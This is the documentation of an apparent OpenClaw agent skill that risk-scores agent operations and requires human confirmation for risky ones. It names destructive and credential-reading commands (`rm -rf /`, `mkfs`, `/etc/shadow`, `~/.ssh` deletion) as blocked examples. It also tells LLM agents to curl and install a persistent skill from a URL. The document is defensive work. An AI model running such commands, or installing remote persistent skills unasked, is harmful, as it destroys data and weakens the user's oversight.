Skill: stephenlzc/claw-gatekeeper (version 0.1.0)

--- name: claw-gatekeeper description: | OpenClaw Guardian is a comprehensive security control system for OpenClaw that intercepts high-risk operations and requires human confirmation before execution. It acts as a "safety brake" with session-level auto-approval for MEDIUM/HIGH risks after initial user confirmation. **Key Behaviors:** - LOW risk: Auto-allowed without confirmation - MEDIUM/HIGH risk: User confirmation with option to approve for entire session - CRITICAL risk: Must confirm each time individually (no session approval) - Logs all MEDIUM+ operations to Operate_Audit.log with timestamps Use when: limiting OpenClaw's autonomous permissions, preventing accidental data deletion, controlling skill installations, monitoring file operations. **Note:** This skill should be loaded as a persistent/resident skill in OpenClaw. --- # 🛡️ OpenClaw Guardian > The Safety Brake for OpenClaw - Session-aware protection for risky operations ## Overview Claw-Gatekeeper is a comprehensive security control layer for OpenClaw that intercepts potentially dangerous operations and manages them according to their risk level: | Risk Level | Score | Behavior | Session Approval | |------------|-------|----------|------------------| | 🔴 **CRITICAL** | 80-100 | Always requires confirmation | ❌ Not available | | 🟠 **HIGH** | 60-79 | Requires confirmation, can approve for session | ✅ Available | | 🟡 **MEDIUM** | 30-59 | Suggests confirmation, can approve for session | ✅ Available | | 🟢 **LOW** | 0-29 | Auto-allowed without confirmation | N/A | ### Key Features - 🛑 **Smart Interception** - Automatically catches risky operations - 📅 **Session-Level Approval** - Approve MEDIUM/HIGH once, auto-approve similar operations for the session - 🔒 **CRITICAL Protection** - Must confirm each CRITICAL operation individually - 📝 **Audit Trail** - All MEDIUM+ operations logged to `Operate_Audit.log` - ⚙️ **Persistent Operation** - Designed to be loaded as a resident skill ## Risk Level Behaviors ### 🔴 CRITICAL (80-100) - Always Confirm **Examples:** - `rm -rf /` or system directory deletion - Disk formatting (`mkfs`, `format`) - System configuration changes - Access to `/etc/shadow`, root SSH keys **Behavior:** - ❌ **Must confirm EACH time individually** - ❌ No session-level approval available - ❌ No auto-approval - ✅ Complete audit logging ``` [OpenClaw] rm -rf ~/Projects/important [Claw-Guardian] 🔴 CRITICAL RISK ⚠️ About to recursively delete directory with 1,247 files Options: [y] ✅ Allow this time (will ask again next time) [Y] ✅✅ Always allow (add to whitelist) [n] ❌ Deny this time [N] ❌❌ Always deny (add to blacklist) Note: Session approval NOT available for CRITICAL risks ``` ### 🟠 HIGH (60-79) - Confirm or Session Approve **Examples:** - Deleting directories with many files - Executing shell commands - Installing skills from external sources - Network requests to external domains **Behavior:** - ✅ Requires confirmation (first time) - ✅ **Can approve for entire session** - ✅ Session expires after 30min inactivity - ✅ Complete audit logging ``` [OpenClaw] Installing skill from GitHub [Claw-Guardian] 🟠 HIGH RISK ⚠️ Installing 'data-processor' from GitHub Options: [y] ✅ Allow this time only [s] ✅📅 Allow for this session ⭐ RECOMMENDED [Y] ✅✅ Always allow (whitelist) [n] ❌ Deny this time [N] ❌❌ Always deny (blacklist) User selects: [s] ✅ Operation approved for this session 📌 Similar HIGH risk operations will be auto-approved ⏱️ Session expires after 30 minutes of inactivity ``` ### 🟡 MEDIUM (30-59) - Suggest Confirm or Session Approve **Examples:** - Creating new files - Batch file operations (5-20 files) - Reading sensitive directories - Modifying configuration files **Behavior:** - ✅ Suggests confirmation - ✅ **Can approve for entire session** - ✅ Auto-allowed in loose mode - ✅ Complete audit logging ### 🟢 LOW (0-29) - Auto-Allow **Examples:** - Reading files - Listing directories - Whitelisted operations - Safe read-only commands **Behavior:** - ✅ **Auto-allowed without confirmation** - ✅ No interruption to workflow - ✅ Still logged if enabled ## Installation ### Prerequisites Claw-Guardian is designed to be a **persistent/resident skill** in OpenClaw. It should be loaded at the start of every session. ### Method 1: OpenClaw CLI (Recommended) ```bash # Install the skill openclaw skill install claw-gatekeeper # Add to persistent skills (so it loads every session) openclaw skill persist claw-guardian ``` ### Method 2: Manual Installation ```bash # Copy skill package cp claw-guardian.skill ~/.openclaw/skills/ # Add to autoload openclaw skill load claw-guardian --persist ``` ### Method 3: Configuration File Add to `~/.openclaw/config.json`: ```json { "persistent_skills": [ "claw-guardian" ] } ``` ## Quick Start ### 1. Initialize Configuration ```bash # Initialize with default settings python3 ~/.claw-gatekeeper/scripts/policy_config.py show ``` ### 2. Set Operation Mode ```bash # Standard mode (recommended) python3 scripts/policy_config.py mode standard # Or strict mode for maximum security python3 scripts/policy_config.py mode strict ``` ### 3. Verify Installation ```bash # Test risk assessment python3 scripts/risk_engine.py file delete ~/test-file.txt ``` ### 4. Check Session Status ```bash # View current session info python3 scripts/guardian_ui.py session # View Operate_Audit.log python3 scripts/session_manager.py check --lines 50 ``` ## Session Management ### How Session Approval Works ``` First Operation (MEDIUM/HIGH): [OpenClaw] Delete ~/temp/old-files/ [Guardian] 🟡 MEDIUM RISK - Requires confirmation Options: [y] once, [s] session, [Y] always, [n] deny User: [s] Allow for this session ✅ Operation approved 📌 Session approval granted Similar Operations (same session): [OpenClaw] Delete ~/temp/more-files/ [Guardian] 🟡 MEDIUM RISK - Session approved Auto-allowed (similar to previous approval) ✅ Auto-approved (no prompt) ``` ### Session Expiration - **Default timeout:** 30 minutes of inactivity - **Activity:** Any operation or confirmation resets the timer - **Persistence:** Session state saved between OpenClaw interactions ### Managing Session Approvals ```bash # View current session python3 scripts/guardian_ui.py session # View active approvals python3 scripts/session_manager.py list # Revoke specific approvals python3 scripts/session_manager.py revoke --type file --risk HIGH # Clear entire session python3 scripts/session_manager.py clear ``` ## Configuration ### Operation Modes #### Standard Mode (Recommended) ```bash python3 scripts/policy_config.py mode standard ``` - CRITICAL: Always confirm (no session) - HIGH: Confirm or session approve - MEDIUM: Suggest confirm or session approve - LOW: Auto-allow #### Strict Mode ```bash python3 scripts/policy_config.py mode strict ``` - All non-whitelisted operations require confirmation - Session approval still available for MEDIUM/HIGH - CRITICAL always per-confirmation #### Loose Mode ```bash python3 scripts/policy_config.py mode loose ``` - Only CRITICAL requires confirmation - MEDIUM/HIGH auto-allowed after first session approval - LOW always auto-allowed #### Emergency Mode ```bash python3 scripts/policy_config.py mode emergency ``` - Completely disables autonomous operations - Everything requires confirmation - Session approvals suspended ### Managing Whitelists and Blacklists ```bash # Add trusted paths python3 scripts/policy_config.py add whitelist paths ~/Projects # Add trusted commands python3 scripts/policy_config.py add whitelist commands "git status" # Add trusted skills python3 scripts/policy_config.py add whitelist skills docx # Block sensitive paths python3 scripts/policy_config.py add blacklist paths ~/.ssh ``` ## Audit Logging ### Operate_Audit.log All MEDIUM and above operations are logged to `~/.claw-guardian/sessions/Operate_Audit.log`: ``` [2026-03-12 14:30:25.123] [🟠 HIGH] [skill] allow_session: Installing data-processor@1.0.0 from github [2026-03-12 14:31:10.456] [MEDIUM] [file] allow_session: delete ~/temp/cache (session approved) [2026-03-12 14:32:05.789] [CRITICAL] [shell] allow_once: rm -rf ~/Projects/test (manual confirm) [2026-03-12 14:35:15.234] [HIGH] [skill] deny_once: Installing suspicious-tool from unknown ``` ### Viewing Logs ```bash # View recent entries python3 scripts/session_manager.py check --lines 100 # Export to file python3 scripts/session_manager.py check --lines 1000 > audit_export.txt # Query with filters python3 scripts/audit_log.py query 7 --risk HIGH --decision allow_session ``` ### Log Format ``` [TIMESTAMP] [RISK_LEVEL] [OPERATION_TYPE] DECISION: Details Example: [2026-03-12 14:30:25.123] [🟠 HIGH] [skill] allow_session: data-processor from github ``` ## Usage Examples ### Example 1: File Cleanup with Session Approval ``` [OpenClaw] I'll clean up the temp directory [Guardian] 🟡 MEDIUM RISK Operation: delete ~/temp/ (50 files) [y] once [s] session ⭐ [Y] always [n] deny [N] always deny User: [s] Allow for this session ✅ Approved for session 📌 Similar deletions will be auto-approved [OpenClaw] Delete ~/cache/ (30 files) [Guardian] 🟡 MEDIUM RISK - Session approved ✅ Auto-allowed [OpenClaw] Delete ~/.ssh/ [Guardian] 🔴 CRITICAL RISK [y] once [Y] always [n] deny [N] always deny (Session approval NOT available) ``` ### Example 2: Skill Development Workflow ``` [OpenClaw] Testing my skill, need to install from local [Guardian] 🟠 HIGH RISK Installing 'my-skill' from local [y] once [s] session ⭐ [Y] always [n] deny User: [s] Allow for this session ✅ Session approved for skill development [Repeated testing...] [Guardian] Auto-approving local skill installations (session active) ``` ### Example 3: CRITICAL Operation Always Confirms ``` [OpenClaw] rm -rf ~/Projects/legacy-app/ [Guardian] 🔴 CRITICAL RISK Recursive deletion of 1,247 files including .git [y] allow ONCE [Y] always [n] deny [N] always deny ⚠️ Session approval NOT available for CRITICAL User: [y] Allow this time ✅ Approved (will ask again for next CRITICAL) ``` ## Script Reference ### Session Management ```bash # View session info python3 scripts/guardian_ui.py session # Check if operation is allowed (no interaction) python3 scripts/guardian_ui.py check '{"operation_type":"file",...}' # Interactive confirmation python3 scripts/guardian_ui.py interactive '{"operation_type":"file",...}' ``` ### Session Manager Direct ```bash # List session approvals python3 scripts/session_manager.py list # Revoke approvals python3 scripts/session_manager.py revoke --type file --risk MEDIUM # Clear session python3 scripts/session_manager.py clear # View Operate_Audit.log python3 scripts/session_manager.py check --lines 50 ``` ### Risk Assessment ```bash # Assess file operation python3 scripts/risk_engine.py file delete ~/test.txt # Assess shell command python3 scripts/risk_engine.py shell "rm -rf /tmp/*" # Assess network request python3 scripts/risk_engine.py network https://api.example.com POST # Assess skill installation python3 scripts/risk_engine.py skill my-skill github ``` ## Best Practices ### For Personal Use 1. **Use session approval for development work** - Approve temp file deletions for session - Approve git operations for session - Approve skill testing for session 2. **Never session-approve CRITICAL risks** - Always review each CRITICAL operation - CRITICAL = potential data loss or system damage 3. **Review Operate_Audit.log weekly** ```bash python3 scripts/session_manager.py check --lines 100 ``` ### For Team/Enterprise 1. **Standard mode for most users** 2. **Strict mode for production systems** 3. **Regular audit log reviews** 4. **Document session approval policies** ## Troubleshooting ### Session Not Persisting **Problem:** Session approvals lost between interactions **Solution:** Ensure skill is loaded as persistent: ```bash openclaw skill list --persistent # If not listed: openclaw skill persist claw-guardian ``` ### Too Many CRITICAL Prompts **Problem:** Every CRITICAL operation requires confirmation **This is by design.** CRITICAL risks must always be confirmed individually. Consider: - Whitelisting safe operations - Reviewing why operations are marked CRITICAL - Using less destructive alternatives ### Session Timeout Too Short **Problem:** Session expires during work **Solution:** Adjust timeout (requires config edit): ```python # In ~/.claw-guardian/config.json { "session_timeout": 3600 # 1 hour in seconds } ``` ## Project Status **This is a temporary security measure.** Claw-Guardian addresses current security gaps in OpenClaw. Once OpenClaw implements comprehensive built-in safety controls, this project may be deprecated. --- **Claw-Guardian** - Making OpenClaw Safer, One Session at a Time 🛡️

path: README.md
content: # 🛡️ Claw Gatekeeper

> A Safety Brake for OpenClaw - OpenClaw Guardian with Session-Aware Risk Management

[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
[![English](https://img.shields.io/badge/Language-English-blue.svg)](README.md)
[![中文](https://img.shields.io/badge/语言-中文-red.svg)](README.zh-CN.md)

**[English](README.md) | [中文](README.zh-CN.md)**

---

## ⚠️ Important Notice

**This is a temporary security measure.**

OpenClaw Guardian was created to address current security gaps in OpenClaw's autonomous decision-making capabilities. Once OpenClaw implements comprehensive built-in safety controls, this project may be discontinued.

**Current Status**: OpenClaw (as of March 2026) has been identified with significant security concerns including multiple CVEs and warnings from national security agencies. Use this skill to add a layer of protection until official security improvements are released.

---

## 🎯 What is Claw-Gatekeeper?

OpenClaw Guardian is a **persistent security layer** for OpenClaw that intercepts potentially dangerous operations and manages them according to their risk level, with intelligent session-aware approval.

### Risk-Based Behavior

| Risk Level | Score | Default Behavior | Session Approval |
|------------|-------|------------------|------------------|
| 🔴 **CRITICAL** | 80-100 | Always requires individual confirmation | ❌ Not available |
| 🟠 **HIGH** | 60-79 | Confirm first, can approve for session | ✅ Available |
| 🟡 **MEDIUM** | 30-59 | Confirm first, can approve for session | ✅ Available |
| 🟢 **LOW** | 0-29 | Auto-allowed without interruption | N/A |

### Session-Aware Approval

**The Key Innovation**: After confirming a MEDIUM or HIGH risk operation once, you can choose to **approve it for the entire session**. Similar operations will be auto-approved until:
- The session expires (30 minutes of inactivity)
- You explicitly revoke the approval
- OpenClaw restarts

**CRITICAL operations always require individual confirmation** - no session approval for maximum safety.

---

## 📦 Installation

### For Humans

Copy and paste this prompt to your LLM agent (Claude Code, Cursor, Cline, etc.):

```
Install and configure OpenClaw Guardian by following the instructions here: https://raw.githubusercontent.com/stephenlzc/claw-gatekeeper/main/README.md  Make it a persistent skill and set it to standard mode.Or read the rest of this README, but seriously, let an agent do it. Humans fat-finger configs.
```

### For LLM Agents

Fetch and execute the installation:

```bash
# Download and install
curl -L -o claw-gatekeeper.skill https://github.com/stephenlzc/claw-gatekeeper/releases/latest/download/claw-guardian.skill
openclaw skill install claw-guardian.skill
openclaw skill persist claw-guardian

# Initialize configuration
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode standard
```

### Skip This README

We're past the era of reading docs. Just paste this into your agent:

> Read this and set up Claw-Guardian as a persistent security layer for OpenClaw:  
> https://raw.githubusercontent.com/stephenlzc/claw-gatekeeper/main/README.md

---

## 🚀 Quick Start

### Basic Usage

Once installed as a persistent skill, Claw-Guardian automatically manages operations:

```
[OpenClaw] I'll delete the old temp files

[Claw-Guardian] 🟡 MEDIUM RISK
============================================================
📋 Operation: 📁 File Operation
📝 Detail: delete ~/temp/ (45 files)
🟡 Risk Level: MEDIUM
📊 Risk Score: 45/100

⚠️ Risk Analysis:
   1. Batch operation (45 files)
   2. Directory deletion

SELECT AN OPTION:
   [y] ✅ Allow this time only
   [s] ✅📅 Allow for this session ⭐
   [Y] ✅✅ Always allow (whitelist)
   [n] ❌ Deny this time
   [N] ❌❌ Always deny (blacklist)

Your choice: s

✅ Approved for this session
📌 Similar operations will be auto-approved
```

Subsequent similar operations:
```
[OpenClaw] Delete more temp files

[Claw-Guardian] 🟡 MEDIUM RISK - Session approved ✅
           Auto-allowed (no prompt)
```

### Viewing Session Status

```bash
# Check current session
python3 ~/.claw-gatekeeper/scripts/guardian_ui.py session

# View active approvals
python3 ~/.claw-gatekeeper/scripts/session_manager.py list

# View audit log
python3 ~/.claw-gatekeeper/scripts/session_manager.py check --lines 50
```

---

## 📝 Operate_Audit.log

All MEDIUM and above operations are logged to `~/.claw-guardian/sessions/Operate_Audit.log`:

```
[2026-03-12 14:30:25.123] [🟠 HIGH] [skill] allow_session: data-processor from github
[2026-03-12 14:31:10.456] [🟡 MEDIUM] [file] allow_session: delete ~/temp/cache
[2026-03-12 14:32:05.789] [🔴 CRITICAL] [shell] allow_once: rm -rf ~/Projects/test
[2026-03-12 14:35:15.234] [🟠 HIGH] [skill] deny_once: suspicious-tool from unknown
```

### Log Format

```
[TIMESTAMP] [EMOJI RISK_LEVEL] [OPERATION_TYPE] DECISION: Operation details
```

### Viewing Logs

```bash
# Recent entries
python3 ~/.claw-gatekeeper/scripts/session_manager.py check --lines 100

# Export to file
python3 ~/.claw-gatekeeper/scripts/session_manager.py check --lines 1000 > audit.txt
```

---

## ⚙️ Configuration

### Operation Modes

```bash
# Standard mode (recommended)
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode standard

# Strict mode (maximum security)
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode strict

# Loose mode (minimal interruptions)
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode loose

# Emergency mode (everything requires confirmation)
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode emergency
```

### Managing Session Timeout

Default: 30 minutes of inactivity

To change, edit `~/.claw-guardian/config.json`:
```json
{
  "session_timeout": 3600
}
```

### Whitelist Management

```bash
# Add trusted paths
python3 ~/.claw-gatekeeper/scripts/policy_config.py add whitelist paths ~/Projects

# Add trusted commands
python3 ~/.claw-gatekeeper/scripts/policy_config.py add whitelist commands "git status"

# Add trusted skills
python3 ~/.claw-gatekeeper/scripts/policy_config.py add whitelist skills docx
```

---

## 🔐 Security Hardening

For users who require maximum security (e.g., handling sensitive data, compliance requirements), Guardian provides a **zero-code-change hardening mode** that enables human-in-the-loop approval for ALL operations.

### Quick Hardening (One Command)

```bash
# Deploy maximum security mode
cd ~/.claw-gatekeeper/scripts
./deploy-secure.sh --apply
```

This applies:
- ✅ **100% human confirmation** - All operations require approval
- ✅ **Enhanced blacklist** - 20+ dangerous command patterns
- ✅ **Sensitive directory protection** - SSH, AWS, K8s configs protected
- ✅ **Secure audit logging** - 30-day retention with proper permissions
- ✅ **Strict mode** - Maximum security policy

### Security Modes Comparison

| Mode | LOW Risk | MEDIUM Risk | HIGH Risk | CRITICAL Risk |
|------|----------|-------------|-----------|---------------|
| **Default** | Auto-allow | Confirm | Confirm | Confirm |
| **Hardened** | **Confirm** | **Confirm** | **Confirm** | Confirm |

### Data Sanitization (Optional)

Pre-process content to remove sensitive data before Guardian analysis:

```bash
# Check for sensitive patterns
./scripts/sanitizer.sh --check session.json --verbose

# Sanitize file
./scripts/sanitizer.sh --file conversation.txt > clean.txt

# Pipe usage
cat log.txt | ./scripts/sanitizer.sh --stdin
```

**Detected patterns**: Passwords, API keys, tokens, cloud credentials, crypto wallets, PII, certificates.

### Restore Default Mode

```bash
./deploy-secure.sh --restore
```

### Security Documentation

See [SECURITY.md](SECURITY.md) for detailed hardening guide.

---

## 📁 Project Structure

```
claw-guardian/
├── README.md                    # This file
├── README.zh-CN.md              # Chinese documentation
├── SKILL.md                     # Skill documentation
├── scripts/
│   ├── risk_engine.py          # Risk assessment engine
│   ├── guardian_ui.py          # User interaction + session logic
│   ├── session_manager.py      # Session state management
│   ├── policy_config.py        # Policy configuration
│   └── audit_log.py            # Audit trail management
└── references/
    ├── risk_matrix.md          # Risk scoring reference
    └── user_guide.md           # Detailed user guide
```

### Important Files

- **Config**: `~/.claw-guardian/config.json`
- **Session State**: `~/.claw-guardian/sessions/current_session.json`
- **Audit Log**: `~/.claw-guardian/sessions/Operate_Audit.log`
- **Backups**: `~/.claw-guardian/backups/`

---

## 🔒 Security Context

### Why Session-Level Approval?

Traditional security tools interrupt every risky operation, causing:
- **Workflow disruption** - Constant prompts during development
- **Alert fatigue** - Users start ignoring warnings
- **Workarounds** - Users whitelist everything to avoid interruptions

**Session-level approval provides:**
- ✅ **Security**: First operation always confirmed
- ✅ **Convenience**: Similar operations auto-approved for the session
- ✅ **Control**: Session expires after inactivity
- ✅ **Audit**: Everything logged to Operate_Audit.log

### CRITICAL vs Session Approval

**CRITICAL risks (80-100)** - No session approval:
- `rm -rf /` or system directories
- Disk formatting
- Credential access
- System configuration changes

**MEDIUM/HIGH risks (30-79)** - Session approval available:
- File deletions in user directories
- Skill installations
- Network requests
- Shell commands

---

## 🔗 Quick Links

- **Repository**: https://github.com/stephenlzc/claw-gatekeeper
- **Releases**: https://github.com/stephenlzc/claw-gatekeeper/releases
- **Issues**: https://github.com/stephenlzc/claw-gatekeeper/issues
- **Raw README**: https://raw.githubusercontent.com/stephenlzc/claw-gatekeeper/main/README.md

---

## 🤝 Contributing

Contributions welcome in:
- Additional risk patterns
- Session management improvements
- Documentation
- Security enhancements

---

## 📄 License

MIT License - See [LICENSE](LICENSE) file for details.

---

<div align="center">

**OpenClaw Guardian** - Secure by Design, Convenient by Default 🛡️

*Trust, but verify. Then verify again for CRITICAL.*

[English](README.md) | [中文](README.zh-CN.md)

</div>


path: README.zh-CN.md
content: # 🛡️ OpenClaw Guardian

> OpenClaw 的安全刹车系统 - OpenClaw Guardian - 具备会话感知能力的智能风险管理

[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
[![中文](https://img.shields.io/badge/语言-中文-red.svg)](README.zh-CN.md)
[![English](https://img.shields.io/badge/Language-English-blue.svg)](README.md)

**[English](README.md) | [中文](README.zh-CN.md)**

---

## ⚠️ 重要声明

**这是一个临时安全措施。**

OpenClaw Guardian 是为了解决 OpenClaw 当前在自主决策能力方面的安全缺陷而创建的。一旦 OpenClaw 实现了全面的内置安全控制，本项目可能会停止维护。

**当前状态**：截至 2026 年 3 月，OpenClaw 已被发现存在严重的安全漏洞，包括多个 CVE 和国家安全机构的警告。在官方安全改进发布之前，请使用本 skill 增加一层保护。

---

## 🎯 什么是 Claw-Gatekeeper？

OpenClaw Guardian 是 OpenClaw 的**持久化安全层**，可以拦截潜在的危险操作，并根据风险级别进行智能管理，支持会话感知的批准机制。

### 基于风险的行为控制

| 风险级别 | 分数 | 默认行为 | 会话批准 |
|----------|------|----------|----------|
| 🔴 **严重 (CRITICAL)** | 80-100 | 每次都需要单独确认 | ❌ 不可用 |
| 🟠 **高 (HIGH)** | 60-79 | 首次确认后，可批准整个会话 | ✅ 可用 |
| 🟡 **中 (MEDIUM)** | 30-59 | 首次确认后，可批准整个会话 | ✅ 可用 |
| 🟢 **低 (LOW)** | 0-29 | 自动允许，无需中断 | N/A |

### 会话感知批准机制

**核心创新**：在首次确认一个中等或高风险操作后，您可以选择**批准整个会话**。相似的操作将在以下情况前自动获得批准：
- 会话过期（30 分钟无活动）
- 您明确撤销批准
- OpenClaw 重启

**严重风险操作始终需要单独确认** - 为了最大程度的安全，不提供会话批准。

---

## 📦 安装

### 给人类用户

复制粘贴这段提示给你的 LLM 代理（Claude Code、Cursor、Cline 等）：

```
按照这里的说明安装和配置 Claw-Guardian： https://raw.githubusercontent.com/stephenlzc/claw-gatekeeper/main/README.zh-CN.md ，将其设置为常驻 skill，并使用标准模式。或者继续阅读本 README，但说真的，让代理来做吧。人类容易把配置搞砸。
```

### 给 LLM 代理

获取并执行安装：

```bash
# 下载并安装
curl -L -o claw-gatekeeper.skill https://github.com/stephenlzc/claw-gatekeeper/releases/latest/download/claw-guardian.skill
openclaw skill install claw-guardian.skill
openclaw skill persist claw-guardian

# 初始化配置
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode standard
```

### 跳过本 README

我们已经过了阅读文档的时代。直接粘贴这段给你的代理：

> 阅读并设置 Claw-Guardian 作为 OpenClaw 的持久化安全层：  
> https://raw.githubusercontent.com/stephenlzc/claw-gatekeeper/main/README.zh-CN.md

---

## 🚀 快速开始

### 基本使用

安装为常驻 skill 后，Claw-Guardian 会自动管理操作：

```
[OpenClaw] 我要删除旧的临时文件

[Claw-Guardian] 🟡 中等风险
============================================================
📋 操作：📁 文件操作
📝 详情：删除 ~/temp/ (45 个文件)
🟡 风险级别：中等
📊 风险评分：45/100

⚠️ 风险分析：
   1. 批量操作 (45 个文件)
   2. 目录删除

选择操作：
   [y] ✅ 仅允许这次
   [s] ✅📅 允许本次会话 ⭐ 推荐
   [Y] ✅✅ 总是允许（加入白名单）
   [n] ❌ 拒绝这次
   [N] ❌❌ 总是拒绝（加入黑名单）

您的选择：s

✅ 已批准本次会话
📌 类似操作将自动批准
```

后续类似操作：
```
[OpenClaw] 删除更多临时文件

[Claw-Guardian] 🟡 中等风险 - 会话已批准 ✅
           自动允许（无需提示）
```

### 查看会话状态

```bash
# 检查当前会话
python3 ~/.claw-gatekeeper/scripts/guardian_ui.py session

# 查看活跃批准
python3 ~/.claw-gatekeeper/scripts/session_manager.py list

# 查看审计日志
python3 ~/.claw-gatekeeper/scripts/session_manager.py check --lines 50
```

---

## 📝 Operate_Audit.log 审计日志

所有中等及以上风险的操作都会记录到 `~/.claw-guardian/sessions/Operate_Audit.log`：

```
[2026-03-12 14:30:25.123] [🟠 HIGH] [skill] allow_session: 从 github 安装 data-processor
[2026-03-12 14:31:10.456] [🟡 MEDIUM] [file] allow_session: 删除 ~/temp/cache
[2026-03-12 14:32:05.789] [🔴 CRITICAL] [shell] allow_once: rm -rf ~/Projects/test
[2026-03-12 14:35:15.234] [🟠 HIGH] [skill] deny_once: 拒绝安装来自未知源的 suspicious-tool
```

### 日志格式

```
[时间戳] [表情 风险级别] [操作类型] 决策: 操作详情
```

### 查看日志

```bash
# 最近 100 条记录
python3 ~/.claw-gatekeeper/scripts/session_manager.py check --lines 100

# 导出到文件
python3 ~/.claw-gatekeeper/scripts/session_manager.py check --lines 1000 > audit.txt
```

---

## ⚙️ 配置说明

### 操作模式

```bash
# 标准模式（推荐）
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode standard

# 严格模式（最高安全性）
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode strict

# 宽松模式（最少中断）
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode loose

# 紧急模式（所有操作都需要确认）
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode emergency
```

### 会话超时设置

默认：30 分钟无活动后过期

修改 `~/.claw-guardian/config.json`：
```json
{
  "session_timeout": 3600
}
```

### 白名单管理

```bash
# 添加信任路径
python3 ~/.claw-gatekeeper/scripts/policy_config.py add whitelist paths ~/Projects

# 添加信任命令
python3 ~/.claw-gatekeeper/scripts/policy_config.py add whitelist commands "git status"

# 添加信任 skill
python3 ~/.claw-gatekeeper/scripts/policy_config.py add whitelist skills docx
```

---

## 📁 项目结构

```
claw-guardian/
├── README.md                    # 英文文档
├── README.zh-CN.md              # 中文文档（本文件）
├── SKILL.md                     # Skill 主文档
├── scripts/                     # 5个核心脚本
│   ├── risk_engine.py          # 风险评估引擎
│   ├── guardian_ui.py          # 用户交互 + 会话逻辑
│   ├── session_manager.py      # 会话状态管理
│   ├── policy_config.py        # 策略配置
│   └── audit_log.py            # 审计日志管理
└── references/
    ├── risk_matrix.md          # 风险评分参考
    └── user_guide.md           # 详细用户指南
```

### 重要文件位置

- **配置**：`~/.claw-guardian/config.json`
- **会话状态**：`~/.claw-guardian/sessions/current_session.json`
- **审计日志**：`~/.claw-guardian/sessions/Operate_Audit.log`
- **备份**：`~/.claw-guardian/backups/`

---

## 🔒 安全背景

### 为什么需要会话级批准？

传统的安全工具会中断每个有风险的操作，导致：
- **工作流程中断** - 开发过程中不断弹窗
- **警报疲劳** - 用户开始忽略警告
- **规避行为** - 用户为了省事把所有操作加入白名单

**会话级批准提供：**
- ✅ **安全性**：首次操作始终需要确认
- ✅ **便利性**：会话内相似操作自动批准
- ✅ **可控性**：无活动后会话过期
- ✅ **可审计性**：所有操作记录到 Operate_Audit.log

### 严重风险与会话批准

**严重风险（80-100 分）** - 不提供会话批准：
- `rm -rf /` 或系统目录删除
- 磁盘格式化
- 访问凭证文件
- 系统配置更改

**中等/高风险（30-79 分）** - 提供会话批准：
- 用户目录中的文件删除
- Skill 安装
- 网络请求
- Shell 命令执行

---

## 🔗 快速链接

- **代码仓库**：https://github.com/stephenlzc/claw-gatekeeper
- **发布版本**：https://github.com/stephenlzc/claw-gatekeeper/releases
- **问题反馈**：https://github.com/stephenlzc/claw-gatekeeper/issues
- **原始文档**：https://raw.githubusercontent.com/stephenlzc/claw-gatekeeper/main/README.zh-CN.md

---

## 🤝 参与贡献

欢迎在以下方面贡献：
- 额外的风险检测模式
- 会话管理改进
- 文档完善
- 安全增强

---

## 📄 许可证

MIT 许可证 - 详见 LICENSE 文件。

---

## 🙏 致谢

本项目创建是为了应对：
- [中国国家计算机网络应急技术处理协调中心 (CNCERT/CC) 安全警告](https://www.chinadaily.com.cn/)
- [OpenClaw CVE 数据库](https://cve.mitre.org/)
- 社区对 AI 代理安全的担忧

**免责声明**：这是一个社区创建的安全工具，不是 OpenClaw 官方产品。使用风险自负。

---

<div align="center">

**OpenClaw Guardian** - 安全为本，便利为辅 🛡️

*信任，但验证。对于严重风险，再验证一次。*

[English](README.md) | [中文](README.zh-CN.md)

</div>


path: RELEASE_NOTES.md
content: # Release v0.1.0

---

## 🎉 Claw Gatekeeper v0.1.0

> A Safety Brake for OpenClaw with Session-Aware Risk Management

---

## English

### 🚀 What's New

OpenClaw Guardian is a comprehensive security control system for OpenClaw that intercepts high-risk operations and requires human confirmation before execution. This is our initial release with full feature set.

### ✨ Key Features

#### 1. Risk-Based Operation Control
- **🔴 CRITICAL (80-100)**: Always requires individual confirmation - no exceptions
- **🟠 HIGH (60-79)**: Requires confirmation, with optional session-level approval
- **🟡 MEDIUM (30-59)**: Suggests confirmation, with optional session-level approval  
- **🟢 LOW (0-29)**: Auto-allowed without interruption

#### 2. Session-Aware Approval System
- Approve MEDIUM/HIGH risk operations once, auto-approve similar operations for the entire session
- Session expires after 30 minutes of inactivity
- CRITICAL operations always require per-confirmation (no session approval)

#### 3. Comprehensive Audit Logging
- All MEDIUM+ operations logged to `Operate_Audit.log`
- Color-coded emoji indicators: 🔴 CRITICAL, 🟠 HIGH, 🟡 MEDIUM
- Timestamped entries with operation details and decisions

#### 4. Multiple Operation Modes
- **Standard Mode**: Balanced protection for daily use
- **Strict Mode**: Maximum security, all non-whitelisted operations require confirmation
- **Loose Mode**: Minimal interruptions, only CRITICAL requires confirmation
- **Emergency Mode**: Complete lockdown, everything requires confirmation

#### 5. Flexible Policy Management
- Whitelist/Blacklist support for paths, commands, domains, and skills
- Configuration import/export
- Automatic backup and restore
- Policy validation

### 📦 Installation

```bash
# Download and install
curl -L -o claw-gatekeeper.skill \
  https://github.com/stephenlzc/claw-gatekeeper/releases/download/v0.1.0/claw-gatekeeper.skill

openclaw skill install claw-gatekeeper.skill
openclaw skill persist claw-gatekeeper

# Initialize
python3 ~/.claw-gatekeeper/scripts/policy_config.py mode standard
```

### 🔧 Core Scripts

| Script | Purpose | Lines |
|--------|---------|-------|
| `risk_engine.py` | Risk assessment engine | ~900 |
| `guardian_ui.py` | User interaction & session logic | ~600 |
| `session_manager.py` | Session state management | ~350 |
| `policy_config.py` | Policy configuration | ~700 |
| `audit_log.py` | Audit trail management | ~650 |

### 🛡️ Security Context

**Important**: This is a temporary security measure for OpenClaw, which has been identified with significant vulnerabilities including:
- CVE-2026-25253 (CVSS 8.8)
- CVE-2026-24763
- CVE-2026-25475
- And more...

Use this skill to add a layer of protection until official security improvements are released.

### 📁 Project Structure

```
claw-gatekeeper/
├── README.md                    # English documentation
├── README.zh-CN.md              # Chinese documentation
